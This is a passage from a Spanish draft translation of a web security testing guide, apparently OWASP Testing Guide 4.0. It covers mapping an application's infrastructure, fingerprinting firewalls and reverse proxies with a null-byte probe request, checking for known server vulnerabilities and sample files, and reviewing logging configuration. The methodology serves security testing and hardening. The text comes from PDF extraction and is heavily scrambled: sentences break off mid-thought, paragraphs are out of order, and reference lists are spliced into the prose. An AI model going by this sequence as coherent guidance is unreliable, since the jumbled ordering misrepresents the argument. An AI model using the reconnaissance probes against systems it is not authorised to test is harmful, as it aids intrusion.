mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposición y amplia el mapa de arquitectura. El evaluador comenzará haciendo preguntas simples como: "¿existe un sistema firewalling que protege al servidor web?". Esta pregunta se responderá a partir de los resultados del análisis de red orientada hacia el servidor web y el análisis de si los puertos de red del servidor web se están filtrando en el límite de la red (no se recíbe ninguna respuesta o se reciben mensajes de ICMP inalcanzables) o si el servidor está conectado directamente a Internet (es decir, devuelve paquetes RST para todos los puertos de no audio). Este análisis puede ser mejorado para determinar el tipo de firewall utilizado, basado en pruebas de paquetes de red. ¿Es el firewall una aplicación de estado completo o es un filtro de lista de acceso en un ruteador? ¿Cómo está configurado? ¿Puede evitarse?
Detectar a un proxy inverso delante de un servidor web debe hacerse por el análisis del banner del servidor web, que podría revelar directamente la existencia de un proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). También puede ser determinado mediante la obtención de las respuestas dadas por el servidor web a las peticiones y comparándolas con las respuestas esperadas. Por ejemplo, algunos proxys inversos actúan como "sistemas de prevención de intrusiones" (o escudos web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el servidor web responde con un mensaje 404 a una petición que se dirige a una página que no está disponible y devuelve un mensaje de error diferente para algunos ataques web comunes como los realizados por escáneres CGI, podría ser una indicación de que existe un proxy inverso (o un firewall de nivel de aplicación) que está filtrando las solicitudes y devuelve una página de error diferente a lo que se espera. Otro ejemplo: Si el servidor web devuelve un conjunto de métodos HTTP disponibles (incluyendo TRACE) pero los métodos esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.
En algunos casos, incluso el sistema de protección se entrega a sí mismo:
GET /web-console/ServerInfo.jsp%00 HTTP/1.0 En configuraciones más complejas, tales como un sistema de banca en línea, pueden estar involucrados múltiples servidores. Estos pueden incluir un proxy inverso, un servidor web de acceso frontal (front-end), un servidor de aplicaciones y un servidor de base de datos o servidor de LDAP. Cada uno de estos servidores se utilizan para propósitos diferentes y podrían incluso estar divididos en diferentes redes con firewalls entre ellos. Esto crea diferentes DMZ para que el acceso al servidor web no conceda un acceso de usuario remoto al mismo mecanismo de autenticación, y para que los riesgos de los diferentes elementos dentro de la arquitectura pueden ser aislados para que no comprometerán el resto de la arquitectura.
Obtener conocimiento de la arquitectura de la aplicación puede ser fácil si esta información es proporcionada al equipo de pruebas por los desarrolladores de la aplicación en un documento o a través de entrevistas, pero también puede resultar muy difícil si se hace una prueba de penetración ciega.
En este último caso, un evaluador comenzará primero con el supuesto de que existe una configuración simple (un solo servidor). Entonces él recupera la información
HTTP/1.0 200 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 83
<TITLE>Error</TITLE>
Ejemplo del servidor de seguridad del punto de chequeo Firewall-1 NG AI "que protege" un servidor web:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 70
Guia de pruebas 4.0 "Borrador"
Los proxys inversos también se pueden presentar como proxy-caché para acelerar el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La detección de estos proxies puede hacerse a base del encabezado del servidor. También pueden detectarse tomando el tiempo de las peticiones que deben ser almacenadas en caché por el servidor de sincronización y comparando el tiempo de la primera solicitud con las solicitudes subsiguientes.
[1] WebSEAL, también conocido como Tivoli Authentication Manager, es un proxy inverso de IBM que es parte del framework de Tivoli. [2] Hay algunas herramientas de administración basadas en GUI para Apache (como NetLoony), pero todavía no son de uso generalizado.
Pruebas para gestionar la configuración Otro elemento que puede detectarse son los equilibradores de carga de red. Por lo general, estos sistemas equilibrarán un determinado puerto TCP/IP en varios servidores basados en algoritmos diferentes (cadena de mensajes, la carga del servidor web, número de solicitudes, etc.). Por lo tanto, la detección de este elemento de la arquitectura debe hacerse examinando varias solicitudes y comparando los resultados para determinar si las solicitudes van al mismo servidor o a diferentes servidores. Por ejemplo, basado en el encabezado de fecha si los relojes del servidor no están sincronizados. En algunos casos, el proceso de equilibrio de carga de red puede inyectar nueva información en los encabezados que destacan claramente, como la cookie de AlteonP introducida por el equilibrador de carga de Nortel Alteon WebSystems.
Los servidores de aplicaciones web son generalmente fáciles de detectar. La solicitud de varios recursos es manejada por el mismo servidor de aplicaciones (no por el servidor web) y el encabezado de respuesta variará significativamente (incluyendo valores diferentes o adicionales en el encabezado de respuesta). Otra forma de detectar esto es ver si el servidor web intenta establecer cookies, las cuales son indicativas de que se utiliza un servidor de aplicación web (como el JSESSIONID proporcionado por algunos servidores J2EE), o para reescribir URL automáticamente para hacer seguimiento de sesiones.
La autenticación de acceso restringido (como los directorios LDAP, bases de datos relacionales o servidores RADIUS), sin embargo, no es tan fácil detectarlos de manera inmediata desde un punto de vista externo, ya que estarán ocultos por la propia aplicación.
El uso de una base de datos de acceso restringido puede determinarse simplemente navegando por una aplicación. Si hay contenido dinámico generado "sobre la marcha", probablemente es que está siendo extraído desde algún tipo de base de datos por la propia aplicación. A veces, la manera en que se solicite información podría dar conocimientos sobre la existencia de una base de datos de acceso restringido. Por ejemplo, una aplicación de compras en línea que utiliza identificadores numéricos ('id') al navegar por los distintos artículos de la tienda. Sin embargo, cuando se hace una prueba de aplicación ciega, el conocimiento de la base de datos subyacente generalmente está solamente disponible cuando aparece una vulnerabilidad en la aplicación, como un pobre manejo de excepciones o una susceptibilidad a la inyección de SQL.
Referencias
Entender la configuración desplegada del servidor que aloja la aplicación web es casi tan importante como las pruebas de seguridad de la aplicación misma. Después de todo, una cadena de aplicaciónes sólo es tan fuerte como su eslabón más débil. Las plataformas de aplicación son amplias y variadas, pero algunos errores de configuración claves en la plataforma pueden comprometer la aplicación de la misma manera que una aplicación no segura puede comprometer el servidor.
Pruebe la configuración de la infraestructura y la red (OTG-CONFIG-001) Resumen La complejidad intrínseca de una infraestructura de servidor web interconectada y heterogénea, que puede incluir cientos de aplicaciones web, hace de la gestión de la configuración y revisión un paso fundamental en la prueba e implementación de cada aplicación. Toma sólo una vulnerabilidad el socavar la seguridad de toda la infraestructura y problemas e incluso problemas pequeños y aparentemente sin importancia pueden convertirse en serios riesgos para otra aplicación en el mismo servidor. Para abordar estos problemas, es de suma importancia llevar a cabo una profunda revisión de la configuración y problemas de seguridad conocidos, después de haber creado un mapa de toda la arquitectura. Una gestión apropiada de la configuración la infraestructura del servidor de web es muy importante para preservar la seguridad de la propia aplicación. Si elementos como el software del servidor web, los servidores de base de datos de back-end o los servidores de autenticación no está revisados y asegurados, podrían presentar riesgos no deseados o introducir nuevas vulnerabilidades que podrían comprometer a la propia aplicación.
Por ejemplo, una vulnerabilidad del servidor web que permite a un atacante remoto revelar el código fuente de la aplicación en sí (una vulnerabilidad que ha aparecido varias veces en servidores web o servidores de aplicaciones) podría comprometer la aplicación, como los usuarios anónimos pueden utilizar la información divulgada en el código fuente para realizar los ataques contra la aplicación o sus usuarios.
Los siguientes pasos deben tomarse para poner a prueba la infraestructura de gestión de configuración:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 71
Guia de pruebas 4.0 "Borrador"
• Los diferentes elementos que conforman la infraestructura deben ser determinados con el fin de comprender cómo interactúan con una aplicación web y cómo afectan a su seguridad. • Todos los elementos de la infraestructura deben revisarse para asegurarse de que no contienen vulnerabilidades conocidas. • Debe hacerse una revisión de las herramientas administrativas usadas para dar mantenimiento a los diferentes elementos. • Los sistemas de autenticación necesitan ser revisados para asegurarse que sirven a las necesidades de la aplicación y que no pueden ser manipulados por los usuarios externos para obtener el acceso.
versión del servidor web cuando las vulnerabilidades se arreglan, la herramienta de análisis marcará vulnerabilidades que no existen. Este último caso es realmente muy común, ya que algunos proveedores de sistemas operativos instalan parches para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al software que proporcionan en el sistema operativo, pero no hacen una carga completa de la última versión de software. Esto sucede en la mayoría de las distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayoría de los casos, el análisis de vulnerabilidad de una arquitectura de aplicación sólo encontrará vulnerabilidades asociadas a los elementos "expuestos" de la arquitectura (como el servidor web) y suelen ser incapaces de encontrar vulnerabilidades asociadas a elementos que no están directamente expuestos, tales como la autenticación en segundo plano (back end), o la base de datos acceso restringido, o el proxy inverso que se encuentra en uso.
• Una lista de puertos definidos que se requieren para la aplicación debe recibir mantenimiento y debe guardarse con un control de cambios.
Después de haber elaborado un mapa de los diferentes elementos que conforman la infraestructura (vea mapa de red y arquitectura de la aplicación), es posible revisar la configuración de cada elemento encontrado y probarlos en busca de cualquier vulnerabilidad conocida.
Por último, no todos los proveedores de software revelan vulnerabilidades de manera pública y, por lo tanto, estas debilidades no son registradas dentro de bases de datos de vulnerabilidades conocidas públicamente[1]. Esta información sólo es revelada a los clientes o publicada a través de soluciones que no van acompañadas de advertencias. Esto reduce la utilidad de las herramientas de análisis de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas herramientas será muy buena para los productos comunes (como el servidor web Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no cumplirán con productos menos conocidos.
Cómo probar Vulnerabilidades conocidas de los servidores Las vulnerabilidades encontradas en las diferentes áreas de la arquitectura de la aplicación, ya sea en el servidor web o en la base de datos de acceso restringido, pueden comprometer seriamente a la propia aplicación. Por ejemplo, considere una vulnerabilidad del servidor que permite a un usuario remoto no autenticado subir archivos al servidor web o incluso reemplazar los archivos. Esta vulnerabilidad podría comprometer la aplicación, ya que un usuario granuja puede ser capaz de reemplazar la aplicación o introducir un código que puede afectar a los servidores de acceso restringido, ya que el código de la aplicación del atacante funcionaría como cualquier otra aplicación.
La revisión de vulnerabilidades del servidor puede ser difícil de efectuar si la prueba debe hacerse a través de una prueba de penetración ciega. En estos casos, las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando una herramienta automatizada. Sin embargo, las pruebas de algunas vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no sería posible probar para otros, (como aquellos directamente involucrados en la negación de ataques al servicio), debido a la reducción de la calidad de tiempo de servicio involucrado si la prueba fuera exitosa.
Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la versión obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. Por un lado, si la versión del servidor web ha sido eliminada u oscurecida por el administrador del sitio local, la herramienta de análisis no marcará al servidor como vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la
Por esta razón, la revisión de vulnerabilidades se realiza mejor cuando al evaluador se le proporciona información interna del software utilizado, incluyendo versiones y actualizaciones usadas y parches aplicados al software. Con esta información, el evaluador puede recuperar la información del mismo proveedor y analizar qué vulnerabilidades pueden estar presentes en la arquitectura y cómo pueden afectar a la aplicación en sí. Cuando sea posible, estas vulnerabilidades pueden analizarse para determinar sus efectos reales y detectar si pueden haber elementos
externos (tales como sistemas de detección o prevención de intrusiones) que podrían reducir o negar la posibilidad de explotación exitosa. Los evaluadores podrían determinar incluso, a través de una revisión de la configuración, que la vulnerabilidad no está presente, puesto que afecta a un componente de software que no está en uso.
También vale la pena señalar que los vendedores a veces solucionan las vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas versiones de software. Los diferentes proveedores tendrán diversos ciclos de lanzamiento que determinan el apoyo que pueden proporcionar para versiones más antiguas. Un evaluador con información detallada de las versiones del software utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones viejas de software que podrían no tener soporte en el corto plazo o que ya no tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una versión antigua de software, que ya no tiene soporte, el personal de sistemas podría no estar directamente consciente de ello. No habrán parches disponibles para él y las advertencias no pondrán en la lista a esa versión como vulnerable ya que no tiene soporte. Incluso, en el caso de que estén conscientes de que existe la
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 72
Guia de pruebas 4.0 "Borrador"
vulnerabilidad y el sistema es vulnerable, tendrían que hacer una actualización completa a una nueva versión de software, que podría aumentar significativamente el tiempo de inactividad en la arquitectura de la aplicación o puede forzar a la aplicación a ser recodificada, debido a incompatibilidades con la versión más reciente del software.
Herramientas administrativas Cualquier infraestructura de servidor web requiere la existencia de herramientas administrativas para dar mantenimiento y actualizar la información utilizada por la aplicación. Esta información incluye contenido estático (páginas web, archivos gráficos), código fuente de la aplicación, bases de datos de autenticación de usuario, etc. Las herramientas administrativas serán diferentes según el sitio, la tecnología o el software utilizado. Por ejemplo, algunos servidores se gestionan mediante interfaces administrativas, que son estos mismos servidores web (como el servidor web iPlanet) o serán administradas por archivos de texto con la configuración (en caso del Apache[2]) que usen un sistema operativo GUI tools (al usar el servidor IIS o ASP.Net de Microsoft).
En la mayoría de los casos se controlará la configuración del servidor con diferentes herramientas de mantenimiento de archivos utilizados por el servidor web, los cuales son administrados a través de servidores FTP, WebDAV, sistemas de archivos de red (NFS, CIFS) u otros mecanismos. Obviamente, el sistema operativo de los elementos que componen la arquitectura de la aplicación también se gestionará utilizando otras herramientas. Las aplicaciones también pueden tener interfaces administrativas incrustadas en ellas, que se utilizan para gestionar los datos mismos de la aplicación (usuarios, contenido, etc.).
Después de haber elaborado mapas de las interfaces administrativas utilizadas para administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o dañar la arquitectura de la aplicación. Para ello es importante:
Referencias [1] WebSEAL, también conocida como Tivoli Authentication Manager, es un proxy inverso de IBM que es parte del framework Tivoli framework. [2] Tal como Symantec’s Bugtraq, ISS’ X-Force, o NIST’s National Vulnerability Database (NVD). [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero no se usan masivamente todavía.
Pruebe la Configuración de la Plataforma de Aplicaciones (OTG-CONFIG-002) Resumen Es imporante una adecuada configuración de los elementos individuales que conforman la arquitectura de una aplicación, para prevenir errores que podrían comprometer la seguridad de la arquitectura entera.
Revisar y probar la configuración es una tarea fundamental en la creación y mantenimiento de una arquitectura. Esto es porque muchos sistemas diferentes generalmente cuentan con configuraciones genéricas que podrían no ser adecuadas para la tarea que se llevará a cabo en el sitio específico donde están instaladas.
Mientras que la instalación tipica del servidor de la web y de la aplicación contendrá mucha funcionalidad (como ejemplos de aplicación, documentación, páginas de prueba) lo que no es esencial debe retirarse antes de la implementación para evitar la explotación de estos después de la instalación.
• Determinar los mecanismos que controlan el acceso a estas interfaces y sus vulnerabilidades asociadas. Esta información puede estar disponible en línea. • Cambiar el usuario y contraseña generados automáticamente. Cómo probar Pruebas de Caja Negra Algunas empresas optan por no gestionar todos los aspectos de sus aplicaciones de servidor web, pero pueden tener otros equipos gestionando el contenido entregado por la aplicación web. Esta empresa externa puede solamente proporcionar partes de los contenidos (actualizaciones de noticias o promociones) o puede administrar el servidor de web totalmente (incluyendo contenido y código). Es común encontrar interfaces administrativas disponibles desde Internet en estas situaciones, ya que usar el Internet es más barato que tener una línea dedicada que conecte a la empresa externa únicamente con la infraestructura de la aplicación a través de una interfaz de gestión. En esta situación, es muy importante comprobar si las interfaces administrativas son vulnerables a ataques.
Archivos y directorios de muestra y conocidos Muchos servidores web y servidores de aplicaciones proporcionan, en una instalación por defecto, aplicaciones y archivos de muestra que se entregan para beneficio del desarrollador y para probar que el servidor está funcionando correctamente justo después de la instalación. Sin embargo, muchas aplicaciones de servidor web por defecto han sido determinadas como vulnerables. Este fue el caso, por ejemplo, de CVE-1999-0449 (denegación de servicio en IIS cuando se instaló el sitio de muestra de Exair), CAN-2002-1744 (vulnerabilidad de salto de directorio en CodeBrws.asp en Microsoft IIS 5.0), CAN-2002-1630 (uso de sendmail.jsp en
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 73
Guia de pruebas 4.0 "Borrador"
Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de código fuente en Cocoon de Apache).
Es imposible decir genéricamente cómo debe configurarse un servidor, sin embargo, algunas pautas comunes deben tomarse en cuenta:
Los escáneres CGI incluyen una lista detallada de archivos conocidos y las muestras de directorio que son entregadas por diferentes servidores web o de aplicaciones, y pueden ser una forma rápida de determinar si estos archivos están presentes. Sin embargo, la única manera para estar totalmente seguro es hacer una revisión completa de los contenidos del servidor web o servidor de aplicaciones y determinar si están relacionados con la aplicación propiamente dicha o no.
• Sólo habilite módulos de servidor (extensiones ISAPI en IIS) que son necesarios para la aplicación. Esto reduce la superficie de ataque puesto que el servidor se reduce en tamaño y complejidad al desactivar módulos del software. También evita que las vulnerabilidades que podrían aparecer en el software del proveedor afecten al sitio si sólo están presentes en los módulos que han sido ya desactivados.
Revisión de comentarios Es muy común, e incluso se recomienda a los programadores, que incluyan comentarios detallados en su código fuente para permitir a otros
programadores entender por qué se tomó una determinada decisión en la codificación de una función dada. Los programadores suelen añadir comentarios al desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios incluidos en líneas de código HTML podrían revelar información interna que no debería estar disponible para un atacante. A veces, incluso existe el comentario de haber retirado el código fuente ya que una funcionalidad ya no es necesaria, pero este comentario se fuga hacia afuera, a las páginas HTML que se devuelven a los usuarios accidentalmente.
La revisión de comentarios debe realizarse con el fin de determinar si cualquier información puede fugarse a través de comentarios. Esta revisión es completamente posible solamente a través de un análisis de los contenidos de los servidores web estáticos y dinámicos y búsquedas de archivo. Puede ser útil navegar por el sitio de una manera automática o guiada y almacenar todo el contenido obtenido. El contenido obtenido puede ser buscado posteriormente con el fin de analizar los comentarios HTML en el código.
Pruebas de Caja Gris
• Maneje los errores del servidor (40x o 50x) con páginas personalizadas en vez de usar las páginas genéricas del servidor web. Específicamente asegúrese de que los errores de aplicación no serán devueltos al usuario final y que ningún código se filtre a través de estos errores, ya que esto ayudaría al atacante. Es realmente muy común olvidar este punto ya que los desarrolladores necesitan esta información en entornos de preproducción. • Asegúrese de que el software del servidor se ejecuta con privilegios mínimos del sistema operativo. Esto evita que un error en el software del servidor comprometa directamente todo el sistema, aunque un atacante podría elevar los privilegios una vez que ejecute códigos como servidor web. • Asegúrese de que el software de servidor registra correctamente accesos legítimos y errores. • Asegúrese de que el servidor está configurado para manejar las sobrecargas adecuadamente y evitar ataques de denegación de servicio. Asegúrese de que el servidor ha sido calibrado correctamente en su rendimiento. • Nunca conceda acceso con identidades no administrativas (con la excepción de NTSERVICE\WMSvc) acceso a applicationHost.config, redirection.config y administration.config (lectura o escritura). Esto incluye el servicio de red, IIS_IUSRS, IUSR o cualquier identidad personalizada utilizada por grupos de aplicaciones IIS. Los procesos de trabajo IIS no necesitan tener acceso a estos archivos directamente.
• Nunca comparta applicationHost.config, redirection.config y administration.config en la red. Cuando use configuraciones de exportación compartidas, prefiera exportar applicationHost.config a otro lugar (véase la sección titulada "configuración de permisos de configuración compartida").
Revisión de la configuración La configuración del servidor web o del servidor de aplicaciones toma un papel importante en la protección de los contenidos del sitio y debe ser revisada cuidadosamente para detectar errores de configuración comunes. Obviamente, la configuración recomendada varía en función de la política del sitio y la funcionalidad que debe ser proporcionada por el software del servidor. En la mayoría de los casos, sin embargo, deben revisarse las pautas de la configuración (ya sean proporcionadas por el proveedor de software o por personas externas) para determinar si el servidor ha sido correctamente asegurado.
• Tenga en cuenta que todos los usuarios pueden leer el framework de configuración .NET machine.config y archivos base web.config por defecto. No almacene información confidencial en estos archivos si fuese solo para administradores. • Encripte la información sensible que debe ser leída únicamente por los procesos de trabajo de IIS y no por otros usuarios de la máquina.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 74
Guia de pruebas 4.0 "Borrador"
• No conceda permisos de escritura a la identidad que el servidor Web utiliza para tener acceso a applicationHost.config compartida. Esta identidad debe tener permisos de sólo lectura. • Utilice una identidad separada para publicar applicationHost.config al recurso compartido. No use esta identidad para configurar el acceso a la configuración compartida en los servidores Web. • Utilice una contraseña de alta seguridad cuando exporte las claves de encriptación para su uso con configuraciones compartidas. • Mantenga el acceso restringido a la partición que contiene la configuración compartida y las claves de encriptado. Si esta partición está comprometida, un atacante podrá leer y escribir cualquier configuración de IIS para los servidores Web, redirigir el tráfico de su sitio web hacia fuentes maliciosas y, en algunos casos, obtener el control de todos los servidores web mediante la carga de códigos arbitrarios en los procesos de trabajo IIS. • Considere proteger esta parte con las reglas del firewall y las directivas de IPsec para permitir que únicamente los servidores web miembros se conecten.
Registros de Información sensible Algunas aplicaciones, por ejemplo, podrían utilizar peticiones GET para enviar datos de formularios que serán vistas en los registros del servidor. Esto significa que los registros de servidor pueden contener información sensible (como nombres de usuario, como contraseñas o datos bancarios). Esta información sensible puede ser mal utilizada por un atacante si obtuvo los registros, por ejemplo, a través de interfaces administrativas o vulnerabilidades o malas configuraciones conocidas del servidor web (como la configuración conocida del estado del servidor en servidores basados en Apache HTTP).
A menudo, los registros de sucesos contienen datos que son útiles para un atacante (fuga de información), o pueden ser utilizados directamente en explotar:
• Depuración de la información Registro El registro es un aspecto importante de la seguridad de la arquitectura de una aplicación, ya que puede ser utilizada para detectar fallos en las aplicaciones (usuarios que intentan constantemente recuperar un archivo que no existe realmente), así como de ataques sostenidos de los usuarios granujas. Los registros no se generan correcta y típicamente por la web y otro servidor de software. No es común encontrar aplicaciones que registran correctamente sus acciones en un registro y, cuando lo hacen, la intención principal de los registros de aplicación es producir resultados de depuración que podría utilizar el programador para analizar un error determinado.
En ambos casos (registros de servidor y aplicación) varios temas deben ser probados y analizados basándose en el contenido del registro: • ¿Los registros contienen información sensible? • ¿Están los registros almacenados en un servidor dedicado?
• Rastros de apilamiento • Nombres de usuario • Nombres de componentes del sistema • Direcciones IP internas • Datos personales menos sensibles (por ejemplo direcciones de correo electrónico, direcciones postales y números de teléfono asociados con individuos nombrados) • Datos del negocio
En algunas jurisdicciones, almacenar alguna información sensible en archivos de registro, tales como datos personales, también podría obligar a la empresa a aplicar las leyes de protección de datos que aplicarían a sus bases de datos de acceso restringido para archivos de registros. No hacerlo, incluso sin saberlo, puede llevar a sanciones bajo las leyes de protección de datos vigentes.
• ¿Puede el uso de registros generar una condición de negación de servicio? • ¿Cómo se giran? ¿Se mantienen los registros durante el tiempo suficiente? Una lista más amplia de información sensible es: • ¿Cómo se revisan los registros? ¿Pueden utilizar los administradores estas revisiones para detectar ataques dirigidos?
• Aplicaciones de código fuente
• ¿Cómo se conservan las copias de seguridad de registro?
• Valores de identificación de sesión
• ¿Los datos están siendo validados (min/max longitud, caracteres etc.) antes de ser registrados?
• Fichas de acceso • Datos personales sensibles y algunas formas de información personal identificable (PII)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 75
Guia de pruebas 4.0 "Borrador"
• Contraseñas de autenticación • Líneas de conexión de bases de datos • Claves de encriptación
en la misma partición de disco como el que se usa para el software de sistema operativo o la aplicación en sí. Esto significa que si el disco fuera llenado, el sistema operativo o la aplicación pueden fallar porque serían incapaces de escribir en el disco.
• Cuenta bancaria o datos del titular de tarjeta de pago • Datos de una clasificación de seguridad más alta que lo que el sistema de registro tiene permitido almacenar • Información comercialmente sensible • Información que es ilegal recolectar en la jurisdicción correspondiente. • Información que un usuario ha optado por no permitir su recolección, o no ha aceptado, por ejemplo, que hagan seguimiento o uso, o cuando el consentimiento para recolectar ha caducado.
Ubicación de registros Generalmente, los servidores generan registros locales de sus acciones y errores, consumiendo el disco del sistema del servidor donde se ejecutan. Sin embargo, si el servidor ha comprometido sus registros, estos pueden ser eliminados por el intruso para limpiar todos los rastros de su ataque y sus métodos. Si esto llegara a suceder, el administrador del sistema no tiene conocimiento de cómo ocurrió el ataque o dónde se encontraba la fuente del ataque. En realidad, la mayoría de kits de herramientas de ataque incluyen un eliminador de registros que es capaz de limpiar cualquier registro que contenga información (como la dirección IP del atacante) y se utilizan habitualmente en equipos de ataque a nivel de sistema principal.
Por lo tanto, es inteligente mantener los registros en un lugar diferente y no en el propio servidor web. Esto también facilita agregar registros desde diferentes fuentes que se refieren a la misma aplicación (como los de una granja de servidores web) y también es más fácil hacer análisis de registros (que puede ser intensivo para el CPU) sin afectar al servidor mismo.
Almacenamiento de registros Los registros pueden presentar una condición de negación de servicio si no se almacenan correctamente. Cualquier atacante con suficientes recursos podría ser capaz de producir un número suficiente de solicitudes que
lenaría el espacio asignado para los archivos de registro si no están prevenidos específicamente de hacerlo. Sin embargo, si el servidor no está configurado correctamente, los archivos de registro se almacenarán
Normalmente, en sistemas UNIX, los registros se ubicarán en /var (aunque algunas instalaciones de servidores pueden residir en /opt o /usr/local) y es importante asegurarse de que los directorios en los que los registros se almacenan estén en una partición separada. En algunos casos, y para evitar que los registros del sistema se vean afectados, el directorio de registro del software de servidor (como /var/log/apache en el servidor web Apache) debe almacenarse en una partición dedicada.
Esto no quiere decir que se deba permitir que los registros crezcan hasta llenar el sistema de archivos donde residen. El crecimiento de registros del servidor debe ser vigilado para detectar esta condición puesto que puede ser indicativo de un ataque.
Probar esta condición es tan fácil y tan peligroso en entornos de producción, como disparar un número suficiente y sostenido de solicitudes para ver si estas solicitudes se registran y si existe la posibilidad de llenar la partición de registro a través de estas solicitudes. En algunos ambientes donde los parámetros QUERY_STRING también se registran independientemente de si se producen a través de solicitudes GET o POST, las consultas grandes pueden simular que llenarán los registros más rápido puesto que, normalmente, una sola solicitud hará que sólo una pequeña cantidad de datos sean registrados, como fecha y hora, dirección IP de origen, petición URL y resultado del servidor.
Rotación de registros La mayoría de los servidores (pero pocas aplicaciones personalizadas) rotarán los registros con el fin de evitar que se llene el sistema de archivos donde residen. Al girar los registros se asume que la información en ellos sólo es necesaria durante un tiempo limitado.
Esta característica debe ser probada para asegurarse de que:
• Los registros se mantienen durante el tiempo definido en la política de seguridad, ni más ni menos. • Los registros se comprimen una vez rotados (esto es una comodidad, ya que significará que más registros se almacenarán en el mismo espacio de disco disponible).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 76
Guia de pruebas 4.0 "Borrador"
• El permiso del sistema de archivos de registros rotados es el mismo (o más estricto) que los permisos del registro de archivos en sí. Por ejemplo, los servidores web deberán escribir en los registros usados, pero no necesitan realmente escribir en registros rotados, lo que significa que los permisos de los archivos pueden modificarse según la rotación para evitar que el proceso del servidor web los modifique.
Las estadísticas del registro o análisis no deben ser generadas ni almacenadas en el mismo servidor que produce los registros. De lo contrario, un atacante podría, a través de una vulnerabilidad del servidor web o configuración inadecuada, tener acceso a ellos y recuperar la información similar a la que sería revelada por los archivos de registro.
Referencias Algunos servidores podrían rotar registros cuando alcanzan un tamaño determinado. Si esto sucede, se debe garantizar que un atacante no puede obligar a rotar registros para ocultar sus huellas.
[1] Apache • Apache Security, by Ivan Ristic, O’reilly, March 2005.
Control del registro de acceso
• Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 awe.com
La información del registro de eventos nunca debe ser visible para los usuarios finales. Incluso los administradores web no deberían ver estos registros ya que se rompe la separación del servicio de las labores de control. Asegúrese de que cualquier esquema de control de acceso que se utiliza para proteger el acceso a los registros brutos y a cualquier aplicación que proporciona funcionalidades para ver o buscar los registros no estén
• Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 - awe.com
conectadas a los esquemas de control de acceso para otros roles de usuario de la aplicación. Asimismo, los datos de registro no deben ser visibles por los usuarios no autenticados.
• Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002 - iss.net
Revisión de registros La revisión de registros puede utilizarse no solo para la extracción de estadísticas de uso de archivos en los servidores web (que suele ser en lo que la mayoría de aplicaciones basadas en registros se centran), sino también para determinar si los ataques tienen lugar en el servidor web.
• Performance Tuning - apache.org [2] Lotus Domino • Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection - redbooks.ibm.com
• Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 davidlitchfield.com • NGSSoftware Insight Security Research - nccgroup.com [3] Microsoft IIS • IIS 6.0 Security, by Rohyt Belani, Michael Muckin, symantec.com • IIS 7.0 Securing Configuration - technet.microsoft.com
Para analizar los ataques desde el servidor web, los archivos de registro de error deben ser analizados. La revisión debería centrarse en:
• Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004 • IIS Security and Programming Countermeasures, by Jason Coombs
• 40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente podría ser un indicativo de una herramienta de scanner CGI utilizada contra el servidor web • 50 x mensajes (server error). Estos pueden ser una indicación de que un atacante abusa de partes de la aplicación que fallan inesperadamente. Por ejemplo, las primeras fases de un ataque de inyección SQL producirá estos mensaje de error cuando la consulta SQL no está construida correctamente y su ejecución falla en la base de datos de acceso restringido.
• From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001 uat.technet.microsoft.com • Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000 • “INFO: Using URLScan on IIS” - support.microsoft.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 77
Guia de pruebas 4.0 "Borrador"
[4] Red Hat’s (formerly Netscape’s) iPlanet
debido a que el contenido no es el esperado, o por manejo de nombres de archivo inesperado del OS.
• Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov [5] WebSphere • IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002 - redbooks.ibm.com • IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002 - redbooks.ibm.com [6] General • Logging Cheat Sheet, OWASP • SP 800-92 Guide to Computer Security Log Management, NIST csrc.nist.gov • PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI Security Standards Council
